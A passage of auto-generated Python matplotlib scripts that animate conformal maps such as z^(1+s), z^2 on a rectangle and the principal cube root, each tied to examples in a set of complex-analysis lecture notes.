    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ straightens the hyperbolas -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Proposition 9.3 and plate, p. 46 (ch09:108, 135); Example 15.13 and plate, p. 80 (ch15-harmonic.tex:240, 265)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.5, 4.5, -3, 3)
SUB = 'the right half-plane opens onto the slit plane'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (0.05, 1.25, -1.2, 1.2, 4, 8)
HILITE = [14, 21]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the rectangle $1\le x\le2,\ 0\le y\le1$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 9.5, p. 47 (ch09:173)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (z**2)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^2$'
TITLE = '$w=(1-s)\\,z+s\\,z^{2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (1, 2, 0, 1, 5, 5)
AVOID = []
EXTRAS = []
TRACK = (1.5+0.5j)

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the rectangle $1\le x\le2,\ 0\le y\le1$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 9.5, p. 47 (ch09:173)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the rectangle becomes a curvilinear quadrilateral;\n$\\frac{3}{2}+\\frac{i}{2}\\mapsto 2+\\frac{3}{2} i$'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (1, 2, 0, 1, 5, 5)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the rectangle $1\le x\le2,\ 0\le y\le1$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 9.5, p. 47 (ch09:173)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the rectangle becomes a curvilinear quadrilateral; $\\frac{3}{2}+\\frac{i}{2}\\mapsto 2+\\frac{3}{2} i$'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (1, 2, 0, 1, 4, 4)
HILITE = [5, 10]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal cube root $z^{1/3}_{\mathrm{pr}}$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Definition 10.2 and Theorem 10.3, p. 49 (ch10-power-root.tex:27, 39); Definition 10.4 and Proposition 10.5, p. 50 (ch10:93, 102)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
